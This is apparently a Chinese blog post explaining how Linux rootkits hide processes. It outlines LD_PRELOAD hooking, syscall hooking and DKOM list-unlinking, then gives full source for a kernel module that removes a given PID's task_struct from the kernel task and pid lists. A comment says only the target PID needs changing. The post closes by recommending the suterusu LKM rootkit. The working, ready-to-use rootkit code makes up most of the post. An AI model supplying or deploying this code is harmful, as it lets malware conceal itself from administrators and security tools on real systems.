文章目录
一、 隐藏进程的几种方法
- 用户级Rootkit 通过LD_PRELOAD来hook libc库,从而过滤/proc/pid目录
- 内核级rootkit 通过hook系统调用getdents/getdents64或者hook 文件file_operation的iterate
- 内核级rootkit把task_struct从相关链表摘除(init_task,pidlist)
关于第一种hook方式可以参考上一篇文章Linux LD_PRELOAD Hook
二、摘链隐藏
这种方式属于DKoM(Direct Kernel Object Manipulation)攻击方式了,即直接内核对象操作技术。这里直接贴上大佬总结好的博客链接: Linux系统下如何隐藏自己的进程?
实现代码:
#include <linux/module.h>
#include <linux/sched.h>
/*摘链隐藏代码,只需要修改想要隐藏pid号就可以了*/
void hide_process(void)
{
/* Linux kernel version 4.x.x */
// int pid = 2;
// struct task_struct *task = NULL;
// struct pid_link *link = NULL;
// struct hlist_node *node = NULL;
// task = pid_task(find_vpid(pid), PIDTYPE_PID);
// link = &task->pids[PIDTYPE_PID];
// list_del_rcu(&task->tasks);
// INIT_LIST_HEAD(&task->tasks);
// node = &link->node;
// hlist_del_rcu(node);
// INIT_HLIST_NODE(node);
// node->pprev = &node;
/* linx kernel version is 5.4.8 */
int pid = 2;
struct task_struct *task = NULL;
struct hlist_node *node = NULL;
task = pid_task(find_vpid(pid), PIDTYPE_PID);
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task->tasks);
node = &task->pid_links[PIDTYPE_PID];
hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node->pprev = &node;
}
/*还原链表,ps -aux仍然可以查看进程信息*/
static int restore_process(struct task_struct *task)
{
struct hlist_node *node = NULL;
struct pid *thread_pid = NULL;
printk("Enter into restore process procedure!\n");
hlist_add_head_rcu(&task->pid_links[PIDTYPE_PID], &task->thread_pid->tasks[PIDTYPE_PID]);
list_add_tail_rcu(&task->tasks, &init_task.tasks);
return 0;
}
static int __init test_init(void)
{
hide_process();
return -1;
}
static void __exit test_exit(void){
printk(KERN_INFO "file --> %s function --> %s line --> %d\n",__FILE__,__func__,__LINE__);
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("curtis li");
附录:
最后推荐一个rootkit工具
An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM:suterusu